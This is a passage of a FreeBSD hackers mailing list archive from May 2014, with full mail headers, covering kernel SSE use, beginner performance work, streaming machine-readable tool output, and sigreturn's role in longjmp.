4.82) (envelope-from ) id 1WnzLJ-002SNb-Qk; Fri, 23 May 2014 17:57:42 -0600 Date: Sat, 24 May 2014 07:57:34 +0800 From: Erich Dollansky To: tyler@tysdomain.com Subject: Re: who pay for such webpages? Message-ID: <20140524075734.233907c7@X220.alogt.com> In-Reply-To: <537F7594.5080003@tysdomain.com> References: <537F7594.5080003@tysdomain.com> X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; amd64-portbld-freebsd10.0) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - sl-508-2.slc.westdc.net X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - alogt.com X-Get-Message-Sender-Via: sl-508-2.slc.westdc.net: authenticated_id: erichsfreebsdlist@alogt.com X-Source: X-Source-Args: X-Source-Dir: Cc: Wojciech Puchar , arrowdodger <6yearold@gmail.com>, freebsd-hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 23:57:46 -0000 Hi, On Fri, 23 May 2014 12:21:40 -0400 "Littlefield, Tyler" wrote: > On 5/23/2014 12:01 PM, arrowdodger wrote: > > On Fri, May 23, 2014 at 5:17 PM, Wojciech Puchar < > > wojtek@wojtek.tensor.gdynia.pl> wrote: > > > >> http://aboutthebsds.wordpress.com/ > >> > >> > >> _______________________________________________ > >> freebsd-hackers@freebsd.org mailing list > >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > >> To unsubscribe, send any mail to > >> "freebsd-hackers-unsubscribe@freebsd.org" > >> > >> These CLANG binaries have problems with speed, size and memory > >> consumption. They are also notorious for memory leaks. > > Since when GCC automatically plugs leaks in my code? Or is it clang > > adds its own? > > > > Verdict: shitty site by Linux fanatic. > > I actually stumbled across that yesterday and found it hilarious. > Please note the horrible spelling, grammar and lack of any decent > comments; they're usually just a bunch of cursing at BSD. it was mentioned here before. I really do not know if it is a masterpiece of trolling or that somebody with total lack of fundamental IT knowledge has written it. Laugh or cry. Anything else is wrong. Erich From owner-freebsd-hackers@FreeBSD.ORG Sat May 24 02:05:29 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9545D8D5 for ; Sat, 24 May 2014 02:05:29 +0000 (UTC) Received: from tds-solutions.net (tds-solutions.net [192.99.32.153]) by mx1.freebsd.org (Postfix) with ESMTP id 6DE172C2F for ; Sat, 24 May 2014 02:05:28 +0000 (UTC) Received: from tds-solutions.net (localhost [127.0.0.1]) by tds-solutions.net (Postfix) with ESMTP id 2F82AFED03 for ; Fri, 23 May 2014 22:05:19 -0400 (EDT) X-Virus-Scanned: amavisd-new at tds-solutions.net Received: from tds-solutions.net ([127.0.0.1]) by tds-solutions.net (tds-solutions.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id zBV3oNJWx88t for ; Fri, 23 May 2014 22:05:18 -0400 (EDT) Received: from [192.168.1.35] (24-177-51-95.dhcp.oxfr.ma.charter.com [24.177.51.95]) (Authenticated sender: sorressean) by tds-solutions.net (Postfix) with ESMTPSA id C58AEFECD3 for ; Fri, 23 May 2014 22:05:18 -0400 (EDT) Message-ID: <537FFE81.2080504@tysdomain.com> Date: Fri, 23 May 2014 22:05:53 -0400 From: "Littlefield, Tyler" Reply-To: tyler@tysdomain.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: "freebsd-hackers@freebsd.org" Subject: no SSE in kernel build? Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 24 May 2014 02:05:29 -0000 Hello all: I had a quick question I was hoping someone could explain for me. I was looking at some of the kernel source, just trying to familiarize myself with it. I notice that SSE, MMX and other such instruction sets are explicitly disabled during kernel compilation--is there any particular reason why? I'm sure it's pretty obvious, but my knowledge of kernel workings is pretty limited. I've seen functions like memset/memcpy that make use of SSE and are incredibly fast; perhaps this could be useful on architectures that support it? Finally, I'm interested in doing some performance work on the kernel--perhaps to help out somewhere. Is there anything at the kernel level a beginner could help out with? Where else might my help be useful? I know -some-, as I've worked a bit on a barebones OS, but I'm no means a kernel hacker. Thanks, -- Take care, Ty http://tds-solutions.net He that will not reason is a bigot; he that cannot reason is a fool; he that dares not reason is a slave. From owner-freebsd-hackers@FreeBSD.ORG Sat May 24 02:22:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 423D5DBD for ; Sat, 24 May 2014 02:22:33 +0000 (UTC) Received: from mail-we0-x22d.google.com (mail-we0-x22d.google.com [IPv6:2a00:1450:400c:c03::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id CF64C2D7A for ; Sat, 24 May 2014 02:22:32 +0000 (UTC) Received: by mail-we0-f173.google.com with SMTP id u57so5611851wes.4 for ; Fri, 23 May 2014 19:22:31 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=TtbC+l8IG0eVrsqloZNyd9sjzdV55cg8zMi9mQrDCLc=; b=Mm3ey7pzr1SJt11esvIXd16BU+vBka05YXQBKPJ3rKa+pSF+4wyZspKgzTeo2q9ETH MouDSebwbn6sJad/Z8I+NLdkTsaTMZN7JBoCnzq/o5MQi4iCyEZfr9dQN+nTYJrLkhWx AdAT0Ml79IYlOz+NYT45YwZonbxCy46u2bcHMe7eQRNcqU5Mjr9XcgAwIvw3DKJcks6S LTpNyUNVq5rYxkMtjcqYP69Tt4beENVkP7tkEC53gCk8TZGp/LN7JrrjxKPgi2N3xMB+ ou5hnSfZ0t93vnIDWtTbkbSQ2NjYPT+lLk5m4cGigSK/UAIcaPbPmy4Ti+hnMlzLTnHw Denw== MIME-Version: 1.0 X-Received: by 10.180.14.72 with SMTP id n8mr7021822wic.53.1400898151113; Fri, 23 May 2014 19:22:31 -0700 (PDT) Sender: asomers@gmail.com Received: by 10.194.168.130 with HTTP; Fri, 23 May 2014 19:22:31 -0700 (PDT) In-Reply-To: <537FFE81.2080504@tysdomain.com> References: <537FFE81.2080504@tysdomain.com> Date: Fri, 23 May 2014 20:22:31 -0600 X-Google-Sender-Auth: KB9MpMLQLL13Zt7FVaKDL9a6T64 Message-ID: Subject: Re: no SSE in kernel build? From: Alan Somers To: tyler@tysdomain.com Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 24 May 2014 02:22:33 -0000 On Fri, May 23, 2014 at 8:05 PM, Littlefield, Tyler wrote: > Hello all: > I had a quick question I was hoping someone could explain for me. I was > looking at some of the kernel source, just trying to familiarize myself with > it. I notice that SSE, MMX and other such instruction sets are explicitly > disabled during kernel compilation--is there any particular reason why? I'm > sure it's pretty obvious, but my knowledge of kernel workings is pretty > limited. I've seen functions like memset/memcpy that make use of SSE and are > incredibly fast; perhaps this could be useful on architectures that support > it? Because the SSE registers would rarely be useful in kernel code, they are explicitly excluded from he system call ABI. That is, the kernel does not save them to the stack on interrupts or system calls. Hence, the kernel can't use them at all. But select parts of the kernel can use them thanks to the fpu_kern_enter/fpu_kern_leave API. More details at this link: http://lists.freebsd.org/pipermail/freebsd-arch/2010-March/010005.html > > Finally, I'm interested in doing some performance work on the > kernel--perhaps to help out somewhere. Is there anything at the kernel level > a beginner could help out with? Where else might my help be useful? I know > -some-, as I've worked a bit on a barebones OS, but I'm no means a kernel > hacker. > Thanks, I think that most of the kernel's performance problems would be hard stuff for a beginner. David Xu suggested that devd(8) could be modified to use kqueue. Not in the kernel, I know, but it would be easy. Another thing you could do would be to apply the counters(9) API more thoroughly through the kernel. It's a high performance API for statistical counters that minimizes lock contention and cache coherency conflicts. It's also fairly new, so I bet there are places that could be using but aren't. -Alan > > -- > Take care, > Ty > http://tds-solutions.net > He that will not reason is a bigot; he that cannot reason is a fool; he that > dares not reason is a slave. From owner-freebsd-hackers@FreeBSD.ORG Sat May 24 04:22:44 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A4681296 for ; Sat, 24 May 2014 04:22:44 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "funkthat.com", Issuer "funkthat.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 6818726D7 for ; Sat, 24 May 2014 04:22:44 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s4O4MgqT031132 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 23 May 2014 21:22:42 -0700 (PDT) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s4O4Mgsl031130; Fri, 23 May 2014 21:22:42 -0700 (PDT) (envelope-from jmg) Date: Fri, 23 May 2014 21:22:42 -0700 From: John-Mark Gurney To: "Littlefield, Tyler" Subject: Re: no SSE in kernel build? Message-ID: <20140524042242.GA43976@funkthat.com> Mail-Followup-To: "Littlefield, Tyler" , "freebsd-hackers@freebsd.org" References: <537FFE81.2080504@tysdomain.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <537FFE81.2080504@tysdomain.com> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender passed SPF test, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Fri, 23 May 2014 21:22:43 -0700 (PDT) Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 24 May 2014 04:22:44 -0000 Littlefield, Tyler wrote this message on Fri, May 23, 2014 at 22:05 -0400: > Hello all: > I had a quick question I was hoping someone could explain for me. I was > looking at some of the kernel source, just trying to familiarize myself > with it. I notice that SSE, MMX and other such instruction sets are > explicitly disabled during kernel compilation--is there any particular > reason why? I'm sure it's pretty obvious, but my knowledge of kernel > workings is pretty limited. I've seen functions like memset/memcpy that > make use of SSE and are incredibly fast; perhaps this could be useful on > architectures that support it? The issue is that saving the entire FPU context on entry to the kernel would be expensive even though most syscalls might not use the FPU at all... There are functions that enable the use of the FPU in your thread... One example is the aesni module, as the AES-NI instructions use the FPU/MMX registers... I believe there is a screen saver or two that also makes use of the FPU... > Finally, I'm interested in doing some performance work on the > kernel--perhaps to help out somewhere. Is there anything at the kernel > level a beginner could help out with? Where else might my help be > useful? I know -some-, as I've worked a bit on a barebones OS, but I'm > no means a kernel hacker. Have you familarized yourself w/ pmcstat/kcachegrind and dtrace? As for specific areas, look on the mailing list for parts the people think don't perform very well, and investigate... There are lots of different causes for performance issues from too many locking operations, to bad algorithm choice, to bad use of large mallocs and I'm sure there are other common issues in the kernel... -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Sat May 24 05:11:57 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 877EC8B9 for ; Sat, 24 May 2014 05:11:57 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id 739662A04 for ; Sat, 24 May 2014 05:11:57 +0000 (UTC) Received: from AlfredMacbookAir.local (unknown [50.204.88.5]) by elvis.mu.org (Postfix) with ESMTPSA id 546AD1A3C19 for ; Fri, 23 May 2014 22:11:56 -0700 (PDT) Message-ID: <53802A1E.8060201@mu.org> Date: Fri, 23 May 2014 22:11:58 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: [GSoC] Machine readable output from userland utilities References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <537F0DD9.6090805@highsecure.ru> <537F11A9.8020504@mu.org> <537FB374.2000800@highsecure.ru> In-Reply-To: <537FB374.2000800@highsecure.ru> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 24 May 2014 05:11:57 -0000 On 5/23/14, 1:45 PM, Vsevolod Stakhov wrote: > On 23.05.2014 17:04, Adrian Chadd wrote: >> Hey all, >> >> I'd actually prefer that some library API (like what's in libstatfoo) >> gets fleshed out to cover what hooks and options are required so you >> don't have to have the bikeshed argument of "what format." You only >> need to write some code to output it in the format you want. >> >> The UNIX way is tools, not policy. The library is a policy, sure, but >> it's a policy to let you define your own policies. It won't be locking >> anyone into anything like "json or bust." >> >> So how about the focus be on that, rather than trying to teach >> individual tools about individual encoding types? > > That is actually exactly what I'm proposing by using UCL. Store output > as UCL objects and convert them to a human readable output, json, xml, > yaml, libnv. Moreover, libucl is already in the base, so it is worth > to check if its capabilities is enough for the vast majority of > userland tools. JFYI, this is probably a little different from what is needed. This is due to the needs of streaming output utilities such as "netstat 1" or "vmstat 1", etc. What we likely want is something very simple and is a streaming output like SAX. Right now we are looking at YAJL which offers a streaming output which is perfect for long running status commands. The goal would be to make a shim that sits between YAJL and the application which also would allow use of xml streams and other streams such as ucl and yaml. http://lloyd.github.io/yajl/ -Alfred From owner-freebsd-hackers@FreeBSD.ORG Sat May 24 07:47:08 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 89C7CBEC for ; Sat, 24 May 2014 07:47:08 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 2A0142462 for ; Sat, 24 May 2014 07:47:07 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s4O7l0Ih064590; Sat, 24 May 2014 10:47:00 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s4O7l0Ih064590 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s4O7kxkM064589; Sat, 24 May 2014 10:46:59 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sat, 24 May 2014 10:46:59 +0300 From: Konstantin Belousov To: Jilles Tjoelker Subject: Re: Use of sigreturn(2) in longjmp(3). Message-ID: <20140524074659.GJ74331@kib.kiev.ua> References: <20140522155418.GX74331@kib.kiev.ua> <20140523223509.GB29378@stack.nl> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="VgRl/Nv5FvdxgY5x" Content-Disposition: inline In-Reply-To: <20140523223509.GB29378@stack.nl> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: Keno Fischer , freebsd-hackers@freebsd.org, Benjamin Kaduk X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 24 May 2014 07:47:08 -0000 --VgRl/Nv5FvdxgY5x Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, May 24, 2014 at 12:35:10AM +0200, Jilles Tjoelker wrote: > On Thu, May 22, 2014 at 06:54:18PM +0300, Konstantin Belousov wrote: > > On Thu, May 22, 2014 at 11:25:32AM -0400, Benjamin Kaduk wrote: > > > On Thu, 22 May 2014, Keno Fischer wrote: >=20 > > > > The sigreturn manpage states: >=20 > > > > "This system call is used by the trampoline code and longjmp(3) when > > > > returning from a signal to the previously executing program". >=20 > > > > Now, I saw the system call in sigtramp.s, but I looked at setjmp.s = can't > > > > find how longjmp does this. Am I missing something totally obvious? >=20 > > > I expect this is just stale documentation. > > > Unfortunately, some quick poking at the svn log for=20 > > > sys/i386/i386/support.s does not make it immediately clear when the c= ode=20 > > > changed to not match the documentation. >=20 > > support.s is not related to the issue discussed. >=20 > > Theoretically, sigreturn(2) might be required on some architectures, > > where the raw access to the usermode CPU state requires supervisor CPU > > state. AFAIK all architectures FreeBSD runs on either do not have this > > quirk, or limit the state saved and restored in the setjmp/longjmp > > functions, to the state accessible to the usermode. >=20 > > For instance, even on x86, the TLS base is not saved and consequently > > not restored by *jmp(3), and cannot be accessed directly by usermode, > > while sigreturn(2) allows to perform full context modification, includi= ng > > TLS base. >=20 > > Some implementations of longjmp(3)-like functionality, e.g. the one > > provided by libunwind, do utilize sigreturn(2) to unwind over the signal > > frame. >=20 > The remark about sigreturn(2) is part of a TODO comment. It would be > better to use some sort of system call to restore the signal mask, > program counter and stack pointer in one operation so that stack usage > is reduced if the new mask permits more signal handlers. >=20 > For example, if a program uses longjmp() in a SIGINT handler to return > to the top level, the current code allows the SIGINT handler to be > re-entered between the _sigprocmask call and the final return > instruction in the longjmp() function. If this happens repeatedly, a > stack overflow could result. If the signal handler returns normally, the > sigreturn(2) system call restores the signal mask and stack pointer in > one operation, so the problem does not occur. >=20 > Using sigreturn(2) for this purpose would require trickery for the FPU > and may be slower than the current implementation. >=20 > Regarding the TLS base, saving and restoring it does not seem to make > much sense since the TLS base is constant for each thread and it is not > permitted to longjmp() to an environment saved by a different thread. > Regarding the other segment registers and base, I don't think it's worth > the performance decrease and ABI break to save them for a few special > programs that use them. >=20 My point was probably not so clear. Doing full context restore through syscall, with the full reload of the CPU state, most likely would need the same context save with the syscall to obtain the CPU state which is not directly accessible to the usermode. The base was only used as an example, I believe other arches have weirder cases, e.g. PowerPC probably cannot read PSW in usermode. I did not suggested actually doing this, I mostly described what was the most probable motivation for the author of the text to write it as is. If somebody provides the reformulation of the man page, explaining this caveats, I am sure this would be for good. --VgRl/Nv5FvdxgY5x Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTgE5zAAoJEJDCuSvBvK1BdgoP/1jn3D8W/4LOcgSK2HL2FLoV lzXLLLvBm+3reLZgV2gITV3PD5HqwnYPUcmHgaGFFtBfVl+fJiY9oqbR+eo0nqWV PKhyF4C6KosSXXiO/jnaUsqrqTZ8YbMnqQ2TthLr+Nvfxs6/uQQ1Q/4+EpBik1RB HmJectbA4X/HQHBrEO7YiLo5zlFmMJ18pD4ZqcN24/ChvfL1Qoto5eYBOhaAWErZ AmJPzwa2RjKV3hQqUX22qwfcwXyQjFASUg0EhF/34e6H08w8xseb0GDsrAlNADKB 9ktjX664PAso09PBdSx0dGjt23SaSryTln63heEJVp/Am5KXt+6vp2u+zUSODQRR wit9/E4d1GnQJTaUDy14tbY0EJoryHZsPp+qC4a59raQ438ZR40wKII9NngElRRt 12pGX53N5clJ80rwdfgRIQwnIMrWz3dLkEtvxZoX08GDSs4j0/VEzL84rAFrKXvj 6nQe5NkVSIhN1WToHPi4UCKlgmai0+e58U0TXx6TURXFY9h2/LJJsxMqtIzkoQbo rMMeQUjXznCR/QDV+WEK1/5zCBzp8t5Q5euR9f5q839rjyHxKm/cwdWuxjz6kRj1 PoOVsvMZfXTl9E0kZqXQ7ex8J8+mbmww2P0/MiQoZSdK6cj4HwJ3JuI6pkxGNEXB f2Wy7dvfb8CkEAiUJh+w =ZmX7 -----END PGP SIGNATURE----- --VgRl/Nv5FvdxgY5x-- From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 19:58:18 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8AD3A45B; Thu, 22 May 2014 19:58:18 +0000 (UTC) Received: from na01-bn1-obe.outbound.protection.outlook.com (mail-bn1blp0186.outbound.protection.outlook.com [207.46.163.186]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (Client CN "mail.protection.outlook.com", Issuer "MSIT Machine Auth CA 2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id CB7D12560; Thu, 22 May 2014 19:58:17 +0000 (UTC) Received: from BY2PR05MB127.namprd05.prod.outlook.com (10.242.38.24) by BY2PR05MB128.namprd05.prod.outlook.com (10.242.38.25) with Microsoft SMTP Server (TLS) id 15.0.944.11; Thu, 22 May 2014 19:58:14 +0000 Received: from BY2PR05MB127.namprd05.prod.outlook.com ([169.254.6.14]) by BY2PR05MB127.namprd05.prod.outlook.com ([169.254.6.14]) with mapi id 15.00.0944.000; Thu, 22 May 2014 19:58:13 +0000 From: Marcel Moolenaar To: Dan McGregor Subject: Re: Patch to tech mkimg about the TMPDIR variable Thread-Topic: Patch to tech mkimg about the TMPDIR variable Thread-Index: AQHPddUFudBTcphboUmPhqEVK4WJ0ZtMaW2AgACPX4D//5aCgA== Date: Thu, 22 May 2014 19:58:12 +0000 Message-ID: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.3.8.130913 x-originating-ip: [66.129.239.13] x-forefront-prvs: 021975AE46 x-forefront-antispam-report: SFV:NSPM; SFS:(6009001)(428001)(189002)(199002)(51704005)(52044002)(377454003)(479174003)(24454002)(50986999)(83322001)(99396002)(74502001)(19580405001)(46102001)(4396001)(74662001)(31966008)(54356999)(92726001)(66066001)(83506001)(79102001)(80022001)(101416001)(83072002)(76482001)(77982001)(2656002)(86362001)(85852003)(64706001)(81542001)(87936001)(81342001)(1411001)(92566001)(19580395003)(20776003)(36756003)(21056001); DIR:OUT; SFP:; SCL:1; SRVR:BY2PR05MB128; H:BY2PR05MB127.namprd05.prod.outlook.com; FPR:; MLV:sfv; PTR:InfoNoRecords; MX:1; A:1; LANG:en; received-spf: None (: juniper.net does not designate permitted sender hosts) authentication-results: spf=none (sender IP is ) smtp.mailfrom=marcelm@juniper.net; Content-Type: text/plain; charset="utf-8" Content-ID: Content-Transfer-Encoding: base64 MIME-Version: 1.0 X-OriginatorOrg: juniper.net X-Mailman-Approved-At: Sat, 24 May 2014 18:29:27 +0000 Cc: "freebsd-hackers@freebsd.org" , Alan Somers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 19:58:18 -0000 T24gNS8yMi8xNCwgMTI6MTUgUE0sICJEYW4gTWNHcmVnb3IiIDxkYW5pc21vc3RsaWtlbHlAZ21h aWwuY29tPiB3cm90ZToNCj4NCj5XZWxsIEkgd29uJ3Q7IEknbSBub3QgYSBjb21taXR0ZXIuIEkn bGwgbGVhdmUgaXQgdXAgdG8geW91IGZhbmN5DQo+cGVvcGxlIHdpdGggY29tbWl0IGJpdHMgd2hl dGhlciBpdCBzaG91bGQgYmUgY29tbWl0dGVkLg0KDQpDb21taXQgSSBzaGFsbCBkby4uLg0KDQo+ SSBoYXZlIG90aGVyIGlkZWFzIGZvciB0aGUgdG9vbCB0b28sIGJ1dCBJIGRvbid0IGhhdmUgdGlt ZSB0byB3b3JrIG9uDQo+dGhvc2UgYXQgdGhlIG1vbWVudC4NCg0KRmVlbCBmcmVlIHRvIHNoYXJl IHRoZW0uLi4NCg0KLS0gDQpNYXJjZWwgTW9vbGVuYWFyDQptYXJjZWxtQGp1bmlwZXIubmV0DQoN Cg== From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 20:18:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AFA7BB00; Thu, 22 May 2014 20:18:35 +0000 (UTC) Received: from na01-bl2-obe.outbound.protection.outlook.com (mail-bl2lp0208.outbound.protection.outlook.com [207.46.163.208]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (Client CN "mail.protection.outlook.com", Issuer "MSIT Machine Auth CA 2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 3BCCC272C; Thu, 22 May 2014 20:18:34 +0000 (UTC) Received: from BY2PR05MB127.namprd05.prod.outlook.com (10.242.38.24) by BY2PR05MB128.namprd05.prod.outlook.com (10.242.38.25) with Microsoft SMTP Server (TLS) id 15.0.944.11; Thu, 22 May 2014 20:18:25 +0000 Received: from BY2PR05MB127.namprd05.prod.outlook.com ([169.254.6.14]) by BY2PR05MB127.namprd05.prod.outlook.com ([169.254.6.14]) with mapi id 15.00.0944.000; Thu, 22 May 2014 20:18:24 +0000 From: Marcel Moolenaar To: Dan McGregor Subject: Re: Patch to tech mkimg about the TMPDIR variable Thread-Topic: Patch to tech mkimg about the TMPDIR variable Thread-Index: AQHPddUFudBTcphboUmPhqEVK4WJ0ZtMaW2AgACPX4D//5aCgIAAeToA//+MaIA= Date: Thu, 22 May 2014 20:18:24 +0000 Message-ID: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.3.8.130913 x-originating-ip: [66.129.239.13] x-forefront-prvs: 021975AE46 x-forefront-antispam-report: SFV:NSPM; SFS:(6009001)(428001)(479174003)(377454003)(24454002)(51704005)(189002)(199002)(52044002)(77982001)(76482001)(83072002)(2656002)(64706001)(86362001)(85852003)(79102001)(80022001)(83506001)(101416001)(21056001)(20776003)(36756003)(92566001)(81542001)(87936001)(1411001)(81342001)(19580395003)(46102001)(31966008)(4396001)(74662001)(83322001)(50986999)(99396002)(74502001)(19580405001)(92726001)(66066001)(54356999); DIR:OUT; SFP:; SCL:1; SRVR:BY2PR05MB128; H:BY2PR05MB127.namprd05.prod.outlook.com; FPR:; MLV:sfv; PTR:InfoNoRecords; MX:1; A:1; LANG:en; received-spf: None (: juniper.net does not designate permitted sender hosts) authentication-results: spf=none (sender IP is ) smtp.mailfrom=marcelm@juniper.net; Content-Type: text/plain; charset="utf-8" Content-ID: <82D9951E44026044A9860DBD872C8C58@namprd05.prod.outlook.com> Content-Transfer-Encoding: base64 MIME-Version: 1.0 X-OriginatorOrg: juniper.net X-Mailman-Approved-At: Sat, 24 May 2014 18:29:43 +0000 Cc: "freebsd-hackers@freebsd.org" , Alan Somers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 